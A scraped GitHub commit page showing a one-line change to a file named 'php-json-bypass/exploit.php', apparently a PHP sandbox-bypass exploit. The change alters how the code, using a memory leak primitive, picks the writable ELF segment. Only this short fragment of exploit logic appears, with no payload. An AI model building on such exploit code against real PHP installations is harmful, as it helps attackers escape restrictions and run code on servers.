We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 7083593 commit 8350abeCopy full SHA for 8350abe
php-json-bypass/exploit.php
@@ -72,7 +72,7 @@ public function parse_elf($base) {
72
$p_vaddr = $this->leak2($header, 0x10);
73
$p_memsz = $this->leak2($header, 0x28);
74
75
- if($p_type == 0x6474e552) { # PT_GNU_RELRO
+ if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
76
# handle pie
77
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
78
$data_size = $p_memsz;
0 commit comments